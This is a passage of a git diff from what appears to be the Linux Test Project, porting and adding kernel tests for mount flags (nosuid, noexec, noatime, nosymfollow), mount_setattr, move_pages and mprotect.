passes for each flag setting and validate - * the flags - * 1) MS_RDONLY - mount read-only. - * 2) MS_NODEV - disallow access to device special files. - * 3) MS_NOEXEC - disallow program execution. - * 4) MS_SYNCHRONOUS - writes are synced at once. - * 5) MS_REMOUNT - alter flags of a mounted FS. - * 6) MS_NOSUID - ignore suid and sgid bits. - * 7) MS_NOATIME - do not update access times. + * - MS_RDONLY - mount read-only + * - MS_NODEV - disallow access to device special files + * - MS_NOEXEC - disallow program execution + * - MS_REMOUNT - alter flags of a mounted FS + * - MS_NOSUID - ignore suid and sgid bits + * - MS_NOATIME - do not update access times + * - MS_NODIRATIME - only update access_time for directory instead of all types + * - MS_STRICTATIME - always update access times */ -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif - +#include +#include #include -#include -#include #include -#include -#include -#include +#include #include -#include - -#include "test.h" -#include "safe_macros.h" - -static void setup(void); -static void cleanup(void); -static int test_rwflag(int, int); +#include "tst_test.h" +#include "lapi/mount.h" -char *TCID = "mount03"; -int TST_TOTAL = 7; +#define MNTPOINT "mntpoint" +#define TESTBIN "mount03_suid_child" +#define BIN_PATH MNTPOINT "/" TESTBIN +#define TEST_STR "abcdefghijklmnopqrstuvwxyz" +#define FILE_MODE 0644 +#define SUID_MODE (0511 | S_ISUID) -#define TEMP_FILE "temp_file" -#define FILE_MODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH) -#define DIR_MODE (S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \ - S_IXGRP|S_IROTH|S_IXOTH) -#define SUID_MODE (S_ISUID|S_IRUSR|S_IXUSR|S_IXGRP|S_IXOTH) +#define CHECK_ENOENT(x) ((x) == -1 && errno == ENOENT) -static const char mntpoint[] = "mntpoint"; -static const char *device; -static const char *fs_type; -static int fildes; - -static char write_buffer[BUFSIZ]; -static char read_buffer[BUFSIZ]; -static char path_name[PATH_MAX]; +static int otfd; static char file[PATH_MAX]; +static char dir[PATH_MAX]; +static uid_t nobody_uid; +static gid_t nobody_gid; -long rwflags[] = { - MS_RDONLY, - MS_NODEV, - MS_NOEXEC, - MS_SYNCHRONOUS, - MS_RDONLY, - MS_NOSUID, - MS_NOATIME, -}; - -int main(int argc, char *argv[]) +static void test_rdonly(void) { - int lc, i; - - tst_parse_opts(argc, argv, NULL, NULL); + snprintf(file, PATH_MAX, "%s/rdonly", MNTPOINT); + TST_EXP_FAIL(otfd = open(file, O_CREAT | O_RDWR, 0700), EROFS); +} - setup(); +static void test_nodev(void) +{ + snprintf(file, PATH_MAX, "%s/nodev", MNTPOINT); + SAFE_MKNOD(file, S_IFBLK | 0777, 0); + TST_EXP_FAIL(otfd = open(file, O_RDWR, 0700), EACCES); + SAFE_UNLINK(file); +} - for (lc = 0; TEST_LOOPING(lc); lc++) { +static void test_noexec(void) +{ + snprintf(file, PATH_MAX, "%s/noexec", MNTPOINT); + otfd = SAFE_OPEN(file, O_CREAT | O_RDWR, 0700); + TST_EXP_FAIL(execlp(file, basename(file), NULL), EACCES); +} - tst_count = 0; +static void test_remount(void) +{ + SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, MS_REMOUNT, NULL); + snprintf(file, PATH_MAX, "%s/remount", MNTPOINT); + TST_EXP_FD(otfd = open(file, O_CREAT | O_RDWR, 0700)); +} - for (i = 0; i < TST_TOTAL; ++i) { +static void test_nosuid(void) +{ + int ret; + struct stat st; - TEST(mount(device, mntpoint, fs_type, rwflags[i], - NULL)); + if (!SAFE_FORK()) { + SAFE_CP(TESTBIN, BIN_PATH); - if (TEST_RETURN != 0) { - tst_resm(TFAIL | TTERRNO, "mount(2) failed"); - continue; - } + ret = TST_RETRY_FN_EXP_BACKOFF(access(BIN_PATH, F_OK), !CHECK_ENOENT, 15); + if (CHECK_ENOENT(ret)) + tst_brk(TBROK, "Timeout, %s does not exist", BIN_PATH); - /* Validate the rwflag */ - if (test_rwflag(i, lc) == 1) - tst_resm(TFAIL, "mount(2) failed while" - " validating %ld", rwflags[i]); - else - tst_resm(TPASS, "mount(2) passed with " - "rwflag = %ld", rwflags[i]); + SAFE_STAT(BIN_PATH, &st); + if (st.st_mode != SUID_MODE) + SAFE_CHMOD(BIN_PATH, SUID_MODE); - TEST(tst_umount(mntpoint)); - if (TEST_RETURN != 0) - tst_brkm(TBROK | TTERRNO, cleanup, - "umount(2) failed for %s", mntpoint); - } + SAFE_SETREUID(nobody_uid, nobody_uid); + SAFE_EXECL(BIN_PATH, BIN_PATH, NULL); + tst_brk(TFAIL | TTERRNO, "Failed to execute %s", BIN_PATH); } - cleanup(); - tst_exit(); + tst_reap_children(); } -/* - * test_rwflag(int i, int cnt) - * Validate the mount system call for rwflags. - */ -int test_rwflag(int i, int cnt) +static void test_file_dir_noatime(int update_fatime, int update_datime) { - int ret, fd, pid, status; - char nobody_uid[] = "nobody"; - time_t atime; - struct passwd *ltpuser; - struct stat file_stat; + time_t atime, dir_atime; + struct stat st, dir_st; char readbuf[20]; + DIR *test_dir; + + snprintf(file, PATH_MAX, "%s/noatime", MNTPOINT); + TST_EXP_FD_SILENT(otfd = open(file, O_CREAT | O_RDWR, 0700)); + + snprintf(dir, PATH_MAX, "%s/nodiratime", MNTPOINT); + if (access(dir, F_OK) == -1 && errno == ENOENT) + SAFE_MKDIR(dir, 0700); + + SAFE_WRITE(1, otfd, TEST_STR, strlen(TEST_STR)); + SAFE_FSTAT(otfd, &st); + atime = st.st_atime; + + test_dir = SAFE_OPENDIR(dir); + SAFE_STAT(dir, &dir_st); + SAFE_READDIR(test_dir); + SAFE_CLOSEDIR(test_dir); + dir_atime = dir_st.st_atime; + + usleep(1001000); + + SAFE_READ(0, otfd, readbuf, sizeof(readbuf)); + SAFE_FSTAT(otfd, &st); + + test_dir = SAFE_OPENDIR(dir); + SAFE_READDIR(test_dir); + SAFE_CLOSEDIR(test_dir); + SAFE_STAT(dir, &dir_st); + + if (update_fatime) { + if (st.st_atime > atime) + tst_res(TPASS, "st.st_atime(%ld) > atime(%ld)", + st.st_atime, atime); + else + tst_res(TFAIL, "st.st_atime(%ld) < atime(%ld)", + st.st_atime, atime); + } else { + TST_EXP_EQ_LI(st.st_atime, atime); + } - switch (i) { - case 0: - /* Validate MS_RDONLY flag of mount call */ - - snprintf(file, PATH_MAX, "%stmp", path_name); - fd = open(file, O_CREAT | O_RDWR, S_IRWXU); - if (fd == -1) { - if (errno == EROFS) { - return 0; - } else { - tst_resm(TWARN | TERRNO, - "open didn't fail with EROFS"); - return 1; - } - } - close(fd); - return 1; - case 1: - /* Validate MS_NODEV flag of mount call */ - - snprintf(file, PATH_MAX, "%smynod_%d_%d", path_name, getpid(), - cnt); - if (mknod(file, S_IFBLK | 0777, 0) == 0) { - fd = open(file, O_RDWR, S_IRWXU); - if (fd == -1) { - if (errno == EACCES) { - return 0; - } else { - tst_resm(TWARN | TERRNO, - "open didn't fail with EACCES"); - return 1; - } - } - close(fd); - } else { - tst_resm(TWARN | TERRNO, "mknod(2) failed to create %s", - file); - return 1; - } - return 1; - case 2: - /* Validate MS_NOEXEC flag of mount call */ - - snprintf(file, PATH_MAX, "%stmp1", path_name); - fd = open(file, O_CREAT | O_RDWR, S_IRWXU); - if (fd == -1) { - tst_resm(TWARN | TERRNO, "opening %s failed", file); - } else { - close(fd); - ret = execlp(file, basename(file), NULL); - if ((ret == -1) && (errno == EACCES)) - return 0; - } - return 1; - case 3: - /* - * Validate MS_SYNCHRONOUS flag of mount call. - * Copy some data into data buffer. - */ - - strcpy(write_buffer, "abcdefghijklmnopqrstuvwxyz"); - - /* Creat a temporary file under above directory */ - snprintf(file, PATH_MAX, "%s%s", path_name, TEMP_FILE); - fildes = open(file, O_RDWR | O_CREAT, FILE_MODE); - if (fildes == -1) { - tst_resm(TWARN | TERRNO, - "open(%s, O_RDWR|O_CREAT, %#o) failed", - file, FILE_MODE); - return 1; - } - - /* Write the buffer data into file */ - if (write(fildes, write_buffer, strlen(write_buffer)) != - (long)strlen(write_buffer)) { - tst_resm(TWARN | TERRNO, "writing to %s failed", file); - close(fildes); - return 1; - } - - /* Set the file ptr to b'nning of file */ - if (lseek(fildes, 0, SEEK_SET) < 0) { - tst_resm(TWARN, "lseek() failed on %s, error=" - " %d", file, errno); - close(fildes); - return 1; - } - - /* Read the contents of file */ - if (read(fildes, read_buffer, sizeof(read_buffer)) > 0) { - if (strcmp(read_buffer, write_buffer)) { - tst_resm(TWARN, "Data read from %s and written " - "mismatch", file); - close(fildes); - return 1; - } else { - close(fildes); - return 0; - } - } else { - tst_resm(TWARN | TERRNO, "read() Fails on %s", file); - close(fildes); - return 1; - } - - case 4: - /* Validate MS_REMOUNT flag of mount call */ - - TEST(mount(device, mntpoint, fs_type, MS_REMOUNT, NULL)); - if (TEST_RETURN != 0) { - tst_resm(TWARN | TTERRNO, "mount(2) failed to remount"); - return 1; - } else { - snprintf(file, PATH_MAX, "%stmp2", path_name); - fd = open(file, O_CREAT | O_RDWR, S_IRWXU); - if (fd == -1) { - tst_resm(TWARN, "open(%s) on readonly " - "filesystem passed", file); - return 1; - } else { - close(fd); - return 0; - } - } - case 5: - /* Validate MS_NOSUID flag of mount call */ - - snprintf(file, PATH_MAX, "%smount03_setuid_test", path_name); - - pid = fork(); - switch (pid) { - case -1: - tst_resm(TBROK | TERRNO, "fork failed"); - return 1; - case 0: - ltpuser = getpwnam(nobody_uid); - if (setreuid(ltpuser->pw_uid, ltpuser->pw_uid) == -1) - tst_resm(TWARN | TERRNO, - "seteuid() failed to change euid to %d", - ltpuser->pw_uid); - - execlp(file, basename(file), NULL); - exit(1); - default: - waitpid(pid, &status, 0); - if (WIFEXITED(status)) { - /* reset the setup_uid */ - if (status) - return 0; - } - return 1; - } - case 6: - /* Validate MS_NOATIME flag of mount call */ - - snprintf(file, PATH_MAX, "%satime", path_name); - fd = open(file, O_CREAT | O_RDWR, S_IRWXU); - if (fd == -1) { - tst_resm(TWARN | TERRNO, "opening %s failed", file); - return 1; - } - - if (write(fd, "TEST_MS_NOATIME", 15) != 15) { - tst_resm(TWARN | TERRNO, "write %s failed", file); - close(fd); - return 1; - } - - if (fstat(fd, &file_stat) == -1) { - tst_resm(TWARN | TERRNO, "stat %s failed #1", file); - close(fd); - return 1; - } - - atime = file_stat.st_atime; - - sleep(1); - - if (read(fd, readbuf, sizeof(readbuf)) == -1) { - tst_resm(TWARN | TERRNO, "read %s failed", file); - close(fd); - return 1; - } - - if (fstat(fd, &file_stat) == -1) { - tst_resm(TWARN | TERRNO, "stat %s failed #2", file); - close(fd); - return 1; - } - close(fd); - - if (file_stat.st_atime != atime) { - tst_resm(TWARN, "access time is updated"); - return 1; - } - return 0; + if (update_datime) { + if (dir_st.st_atime > dir_atime) + tst_res(TPASS, "dir_st.st_atime(%ld) > dir_atime(%ld)", + dir_st.st_atime, dir_atime); + else + tst_res(TFAIL, "dir_st.st_atime(%ld) < dir_atime(%ld)", + dir_st.st_atime, dir_atime); + } else { + TST_EXP_EQ_LI(dir_st.st_atime, dir_atime); } - return 0; } -static void setup(void) +static void test_noatime(void) { - char path[PATH_MAX]; - struct stat file_stat; - - tst_sig(FORK, DEF_HANDLER, cleanup); - - tst_require_root(); - - tst_tmpdir(); + test_file_dir_noatime(0, 0); +} - fs_type = tst_dev_fs_type(); - device = tst_acquire_device(cleanup); +static void test_nodiratime(void) +{ + test_file_dir_noatime(1, 0); +} - if (!device) - tst_brkm(TCONF, cleanup, "Failed to obtain block device"); +static void test_strictatime(void) +{ + test_file_dir_noatime(1, 1); +} - tst_mkfs(cleanup, device, fs_type, NULL, NULL); +#define FLAG_DESC(x) .flag = x, .flag2 = x, .desc = #x +#define FLAG_DESC2(x) .flag2 = x, .desc = #x +static struct tcase { + unsigned int flag; + unsigned int flag2; + char *desc; + void (*test)(void); +} tcases[] = { + {FLAG_DESC(MS_RDONLY), test_rdonly}, + {FLAG_DESC(MS_NODEV), test_nodev}, + {FLAG_DESC(MS_NOEXEC), test_noexec}, + {MS_RDONLY, FLAG_DESC2(MS_REMOUNT), test_remount}, + {FLAG_DESC(MS_NOSUID), test_nosuid}, + {FLAG_DESC(MS_NOATIME), test_noatime}, + {FLAG_DESC(MS_NODIRATIME), test_nodiratime}, + {FLAG_DESC(MS_STRICTATIME), test_strictatime} +}; - SAFE_MKDIR(cleanup, mntpoint, DIR_MODE); +static void setup(void) +{ + struct passwd *ltpuser = SAFE_GETPWNAM("nobody"); - if (getcwd(path_name, sizeof(path_name)) == NULL) - tst_brkm(TBROK, cleanup, "getcwd failed"); + nobody_uid = ltpuser->pw_uid; + nobody_gid = ltpuser->pw_gid; +} - if (chmod(path_name, DIR_MODE) != 0) - tst_brkm(TBROK, cleanup, "chmod(%s, %#o) failed", - path_name, DIR_MODE); +static void cleanup(void) +{ + if (otfd >= 0) + SAFE_CLOSE(otfd); - strncpy(path, path_name, PATH_MAX); - snprintf(path_name, PATH_MAX, "%s/%s/", path, mntpoint); + if (tst_is_mounted(MNTPOINT)) + SAFE_UMOUNT(MNTPOINT); +} - SAFE_MOUNT(cleanup, device, mntpoint, fs_type, 0, NULL); - TST_RESOURCE_COPY(cleanup, "mount03_setuid_test", path_name); - snprintf(file, PATH_MAX, "%smount03_setuid_test", path_name); - SAFE_STAT(cleanup, file, &file_stat); +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + struct statfs stfs; + + tst_res(TINFO, "Testing flag %s", tc->desc); + + TST_EXP_PASS_SILENT(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, + tc->flag, NULL)); + if (!TST_PASS) + return; + + if (tc->test) + tc->test(); + + SAFE_STATFS(MNTPOINT, &stfs); + if (tc->flag == MS_STRICTATIME) { + if (stfs.f_flags & (MS_NOATIME | MS_RELATIME)) + tst_res(TFAIL, "statfs() gets the incorrect mount flag"); + else + tst_res(TPASS, "statfs() gets the correct mount flag"); + cleanup(); + return; + } - if (file_stat.st_mode != SUID_MODE && - chmod(file, SUID_MODE) < 0) - tst_brkm(TBROK, cleanup, - "setuid for setuid_test failed"); - SAFE_UMOUNT(cleanup, mntpoint); + if (stfs.f_flags & tc->flag2) + tst_res(TPASS, "statfs() gets the correct mount flag"); + else + tst_res(TFAIL, "statfs() gets the incorrect mount flag"); - TEST_PAUSE; + cleanup(); } -static void cleanup(void) -{ - if (device) - tst_release_device(device); - - tst_rmdir(); -} +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .test = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .format_device = 1, + .resource_files = (const char *const[]) { + TESTBIN, + NULL, + }, + .forks_child = 1, + .child_needs_reinit = 1, + .mntpoint = MNTPOINT, + .all_filesystems = 1, + .skip_filesystems = (const char *const []){ + "exfat", + "vfat", + "ntfs", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/mount/mount03_suid_child.c b/testcases/kernel/syscalls/mount/mount03_suid_child.c new file mode 100644 index 00000000..3b5cf5fe --- /dev/null +++ b/testcases/kernel/syscalls/mount/mount03_suid_child.c @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + * Copyright (c) 2022 Petr Vorel + */ + +/* + * SUID to root program invoked by a non-root process to validate the mount + * flag MS_NOSUID. + */ + +#include +#include + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +int main(void) +{ + tst_reinit(); + + TST_EXP_FAIL(setreuid(getuid(), 0), EPERM); + + return 0; +} diff --git a/testcases/kernel/syscalls/mount/mount07.c b/testcases/kernel/syscalls/mount/mount07.c new file mode 100644 index 00000000..eb3fb55a --- /dev/null +++ b/testcases/kernel/syscalls/mount/mount07.c @@ -0,0 +1,177 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * It is a basic test for MS_NOSYMFOLLOW mount option and is copied + * from kernel selftests nosymfollow-test.c. + * + * It tests to make sure that symlink traversal fails with ELOOP when + * 'nosymfollow' is set, but symbolic links can still be created, and + * readlink(2) and realpath(3) still work properly. It also verifies + * that statfs(2) correctly returns ST_NOSYMFOLLOW. + */ + +#include +#include +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/mount.h" + +#ifndef ST_NOSYMFOLLOW +# define ST_NOSYMFOLLOW 0x2000 +#endif + +#define MNTPOINT "mntpoint" + +static char test_file[PATH_MAX]; +static char link_file[PATH_MAX]; +static char temp_link_file[PATH_MAX]; +static int flag; + +static void setup_symlink(void) +{ + int fd; + + fd = SAFE_CREAT(test_file, O_RDWR); + SAFE_SYMLINK(test_file, link_file); + SAFE_CLOSE(fd); + flag = 1; +} + +static void test_link_traversal(bool nosymfollow) +{ + if (nosymfollow) { + TST_EXP_FAIL2(open(link_file, 0, O_RDWR), ELOOP, + "open(%s, 0, O_RDWR)", link_file); + } else { + TST_EXP_FD(open(link_file, 0, O_RDWR)); + } + + if (TST_RET > 0) + SAFE_CLOSE(TST_RET); +} + +static void test_readlink(void) +{ + char buf[4096]; + + memset(buf, 0, 4096); + TST_EXP_POSITIVE(readlink(link_file, buf, sizeof(buf)), + "readlink(%s, buf, %ld)", link_file, sizeof(buf)); + if (strcmp(buf, test_file) != 0) { + tst_res(TFAIL, "readlink strcmp failed, %s, %s", + buf, test_file); + } else { + tst_res(TPASS, "readlink strcmp succeeded"); + } +} + +static void test_realpath(void) +{ + TESTPTR(realpath(link_file, NULL)); + + if (!TST_RET_PTR) { + tst_res(TFAIL | TERRNO, "realpath failed"); + return; + } + + if (strcmp(TST_RET_PTR, test_file) != 0) { + tst_res(TFAIL, "realpath strcmp failed, %s, %s", + (char *)TST_RET_PTR, test_file); + } else { + tst_res(TPASS, "realpath strcmp succeeded"); + } +} + +static void test_cycle_link(void) +{ + TST_EXP_PASS(symlink(test_file, temp_link_file), "symlink(%s, %s)", + test_file, temp_link_file); + TST_EXP_PASS(unlink(temp_link_file)); +} + +static void test_statfs(bool nosymfollow) +{ + struct statfs buf; + + SAFE_STATFS(MNTPOINT, &buf); + if (buf.f_flags & ST_NOSYMFOLLOW) { + tst_res(nosymfollow ? TPASS : TFAIL, "ST_NOSYMFOLLOW set on %s", + MNTPOINT); + } else { + tst_res(nosymfollow ? TFAIL : TPASS, "ST_NOSYMFOLLOW not set on %s", + MNTPOINT); + } +} + +static void setup(void) +{ + char *tmpdir = tst_get_tmpdir(); + + snprintf(test_file, PATH_MAX, "%s/%s/test_file", tst_get_tmpdir(), + MNTPOINT); + snprintf(link_file, PATH_MAX, "%s/%s/link_file", tst_get_tmpdir(), + MNTPOINT); + snprintf(temp_link_file, PATH_MAX, "%s/%s/temp_link_file", + tst_get_tmpdir(), MNTPOINT); + free(tmpdir); +} + +static void cleanup(void) +{ + if (tst_is_mounted(MNTPOINT)) + SAFE_UMOUNT(MNTPOINT); +} + +static void run_tests(bool nosymfollow) +{ + test_link_traversal(nosymfollow); + test_readlink(); + test_realpath(); + test_cycle_link(); + test_statfs(nosymfollow); +} + +static void run(void) +{ + tst_res(TINFO, "Testing behaviour when not setting MS_NOSYMFOLLOW"); + + TST_EXP_PASS_SILENT(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, + 0, NULL)); + if (!flag || !strcmp(tst_device->fs_type, "tmpfs")) + setup_symlink(); + run_tests(false); + + tst_res(TINFO, "Testing behaviour when setting MS_NOSYMFOLLOW"); + TST_EXP_PASS_SILENT(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, + MS_REMOUNT | MS_NOSYMFOLLOW, NULL)); + run_tests(true); + + SAFE_UMOUNT(MNTPOINT); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_root = 1, + .min_kver = "5.10", + .format_device = 1, + .mntpoint = MNTPOINT, + .all_filesystems = 1, + .skip_filesystems = (const char *const []){ + "exfat", + "vfat", + "ntfs", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/mount_setattr/.gitignore b/testcases/kernel/syscalls/mount_setattr/.gitignore new file mode 100644 index 00000000..52a77b9c --- /dev/null +++ b/testcases/kernel/syscalls/mount_setattr/.gitignore @@ -0,0 +1 @@ +/mount_setattr01 diff --git a/testcases/kernel/syscalls/mount_setattr/Makefile b/testcases/kernel/syscalls/mount_setattr/Makefile new file mode 100644 index 00000000..5ea7d67d --- /dev/null +++ b/testcases/kernel/syscalls/mount_setattr/Makefile @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c b/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c new file mode 100644 index 00000000..e500df28 --- /dev/null +++ b/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Dai Shili + * Author: Chen Hanxiao + */ + +/*\ + * [Description] + * + * Basic mount_setattr() test. + * Test whether the basic mount attributes are set correctly. + * + * Verify some MOUNT_SETATTR(2) attributes: + * + * - MOUNT_ATTR_RDONLY - makes the mount read-only + * - MOUNT_ATTR_NOSUID - causes the mount not to honor the + * set-user-ID and set-group-ID mode bits and file capabilities + * when executing programs. + * - MOUNT_ATTR_NODEV - prevents access to devices on this mount + * - MOUNT_ATTR_NOEXEC - prevents executing programs on this mount + * - MOUNT_ATTR_NOSYMFOLLOW - prevents following symbolic links + * on this mount + * - MOUNT_ATTR_NODIRATIME - prevents updating access time for + * directories on this mount + * + * The functionality was added in v5.12. + */ + +#define _GNU_SOURCE + +#include +#include "tst_test.h" +#include "lapi/fsmount.h" + +#define MNTPOINT "mntpoint" +#define OT_MNTPOINT "ot_mntpoint" +#define TCASE_ENTRY(attrs, exp_attrs) \ + { \ + .name = #attrs, \ + .mount_attrs = attrs, \ + .expect_attrs = exp_attrs \ + } + +static int mount_flag, otfd = -1; + +static struct tcase { + char *name; + unsigned int mount_attrs; + unsigned int expect_attrs; +} tcases[] = { + TCASE_ENTRY(MOUNT_ATTR_RDONLY, ST_RDONLY), + TCASE_ENTRY(MOUNT_ATTR_NOSUID, ST_NOSUID), + TCASE_ENTRY(MOUNT_ATTR_NODEV, ST_NODEV), + TCASE_ENTRY(MOUNT_ATTR_NOEXEC, ST_NOEXEC), + TCASE_ENTRY(MOUNT_ATTR_NOSYMFOLLOW, ST_NOSYMFOLLOW), + TCASE_ENTRY(MOUNT_ATTR_NODIRATIME, ST_NODIRATIME), +}; + +static void cleanup(void) +{ + if (otfd > -1) + SAFE_CLOSE(otfd); + if (mount_flag) + SAFE_UMOUNT(OT_MNTPOINT); +} + +static void setup(void) +{ + fsopen_supported_by_kernel(); + struct stat st = {0}; + + if (stat(OT_MNTPOINT, &st) == -1) + SAFE_MKDIR(OT_MNTPOINT, 0777); +} + +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + struct mount_attr attr = { + .attr_set = tc->mount_attrs, + }; + struct statvfs buf; + + TST_EXP_FD_SILENT(open_tree(AT_FDCWD, MNTPOINT, AT_EMPTY_PATH | + AT_SYMLINK_NOFOLLOW | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE)); + if (!TST_PASS) + return; + + otfd = (int)TST_RET; + + TST_EXP_PASS_SILENT(mount_setattr(otfd, "", AT_EMPTY_PATH, &attr, sizeof(attr)), + "%s set", tc->name); + if (!TST_PASS) + goto out1; + + TST_EXP_PASS_SILENT(move_mount(otfd, "", AT_FDCWD, OT_MNTPOINT, MOVE_MOUNT_F_EMPTY_PATH)); + if (!TST_PASS) + goto out1; + mount_flag = 1; + SAFE_CLOSE(otfd); + + TST_EXP_PASS_SILENT(statvfs(OT_MNTPOINT, &buf), "statvfs sucess"); + if (!TST_PASS) + goto out2; + + if (buf.f_flag & tc->expect_attrs) + tst_res(TPASS, "%s is actually set as expected", tc->name); + else + tst_res(TFAIL, "%s is not actually set as expected", tc->name); + + goto out2; + +out1: + SAFE_CLOSE(otfd); +out2: + if (mount_flag) + SAFE_UMOUNT(OT_MNTPOINT); + + mount_flag = 0; +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .test = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNTPOINT, + .all_filesystems = 1, + .skip_filesystems = (const char *const []){"fuse", NULL}, +}; diff --git a/testcases/kernel/syscalls/move_pages/move_pages09.c b/testcases/kernel/syscalls/move_pages/move_pages09.c index 5c2d8d32..30824914 100755 --- a/testcases/kernel/syscalls/move_pages/move_pages09.c +++ b/testcases/kernel/syscalls/move_pages/move_pages09.c @@ -102,25 +102,10 @@ int main(int argc, char **argv) ret = numa_move_pages(0, TEST_PAGES, pages, nodes, status, MPOL_MF_MOVE); - /* - * commit e78bbfa8262424417a29349a8064a535053912b9 - * Author: Brice Goglin - * Date: Sat Oct 18 20:27:15 2008 -0700 - * mm: stop returning -ENOENT from sys_move_pages() if nothing got migrated - */ - if ((tst_kvercmp(2, 6, 28)) >= 0) { - if (ret >= 0) - tst_resm(TPASS, "move_pages succeeded"); - else - tst_resm(TFAIL | TERRNO, "move_pages"); - } else { - if (ret == -1 && errno == ENOENT) - tst_resm(TPASS, "move_pages failed with " - "ENOENT as expected"); - else - tst_resm(TFAIL | TERRNO, "move_pages did not " - "fail with ENOENT ret: %d", ret); - } + if (ret >= 0) + tst_resm(TPASS, "move_pages succeeded"); + else + tst_resm(TFAIL | TERRNO, "move_pages"); free_pages(pages, TEST_PAGES); } diff --git a/testcases/kernel/syscalls/move_pages/move_pages12.c b/testcases/kernel/syscalls/move_pages/move_pages12.c index 220130f4..fd7017d7 100755 --- a/testcases/kernel/syscalls/move_pages/move_pages12.c +++ b/testcases/kernel/syscalls/move_pages/move_pages12.c @@ -153,7 +153,6 @@ static void do_test(unsigned int n) void *ptr; pid_t cpid = -1; int status; - unsigned int twenty_percent = (tst_timeout_remaining() / 5); addr = SAFE_MMAP(NULL, tcases[n].tpages * hpsz, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); @@ -198,7 +197,7 @@ static void do_test(unsigned int n) SAFE_MUNMAP(addr, tcases[n].tpages * hpsz); - if (tst_timeout_remaining() < twenty_percent) + if (!tst_remaining_runtime()) break; } @@ -334,13 +333,13 @@ static void cleanup(void) } static struct tst_test test = { - .min_kver = "2.6.32", .needs_root = 1, .forks_child = 1, .setup = setup, .cleanup = cleanup, .test = do_test, .tcnt = ARRAY_SIZE(tcases), + .max_runtime = 240, .tags = (const struct tst_tag[]) { {"linux-git", "e66f17ff7177"}, {"linux-git", "c9d398fa2378"}, diff --git a/testcases/kernel/syscalls/move_pages/move_pages_support.c b/testcases/kernel/syscalls/move_pages/move_pages_support.c index 717321a4..1604e91f 100755 --- a/testcases/kernel/syscalls/move_pages/move_pages_support.c +++ b/testcases/kernel/syscalls/move_pages/move_pages_support.c @@ -400,13 +400,12 @@ void check_config(unsigned int min_nodes) if (ret < 0) tst_brkm(TBROK | TERRNO, NULL, "get_allowed_nodes(): %d", ret); - if (numa_available() < 0) { + if (numa_available() < 0) tst_brkm(TCONF, NULL, "NUMA support is not available"); - } else if (num_allowed_nodes < min_nodes) { + + if (num_allowed_nodes < min_nodes) { tst_brkm(TCONF, NULL, "at least %d allowed NUMA nodes" " are required", min_nodes); - } else if (tst_kvercmp(2, 6, 18) < 0) { - tst_brkm(TCONF, NULL, "2.6.18 or greater kernel required"); } #else tst_brkm(TCONF, NULL, NUMA_ERROR_MSG); diff --git a/testcases/kernel/syscalls/mprotect/.gitignore b/testcases/kernel/syscalls/mprotect/.gitignore index 9571ffd4..929c3b3a 100755 --- a/testcases/kernel/syscalls/mprotect/.gitignore +++ b/testcases/kernel/syscalls/mprotect/.gitignore @@ -2,3 +2,4 @@ /mprotect02 /mprotect03 /mprotect04 +/mprotect05 diff --git a/testcases/kernel/syscalls/mprotect/mprotect01.c b/testcases/kernel/syscalls/mprotect/mprotect01.c index be4d982e..aa468525 100755 --- a/testcases/kernel/syscalls/mprotect/mprotect01.c +++ b/testcases/kernel/syscalls/mprotect/mprotect01.c @@ -43,6 +43,7 @@ #include #include #include "test.h" +#include "lapi/syscalls.h" #include "safe_macros.h" char *TCID = "mprotect01"; @@ -97,7 +98,7 @@ int main(int ac, char **av) if (TC[i].setupfunc != NULL) TC[i].setupfunc(&TC[i]); - TEST(mprotect(TC[i].addr, TC[i].len, TC[i].prot)); + TEST(tst_syscall(__NR_mprotect, TC[i].addr, TC[i].len, TC[i].prot)); if (TEST_RETURN != -1) { tst_resm(TFAIL, "call succeeded unexpectedly"); diff --git a/testcases/kernel/syscalls/mprotect/mprotect02.c b/testcases/kernel/syscalls/mprotect/mprotect02.c index de9b4ea0..af282bba 100755 --- a/testcases/kernel/syscalls/mprotect/mprotect02.c +++ b/testcases/kernel/syscalls/mprotect/mprotect02.c @@ -60,7 +60,7 @@ int main(int ac, char **av) int lc; int bytes_to_write, fd; - unsigned int num_bytes; + size_t num_bytes; pid_t pid; tst_parse_opts(ac, av, NULL, NULL); @@ -80,7 +80,8 @@ int main(int ac, char **av) bytes_to_write = MIN(strlen(buf), num_bytes); num_bytes -= - SAFE_WRITE(cleanup, 1, fd, buf, bytes_to_write); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, buf, + bytes_to_write); } while (0 < num_bytes); diff --git a/testcases/kernel/syscalls/mprotect/mprotect03.c 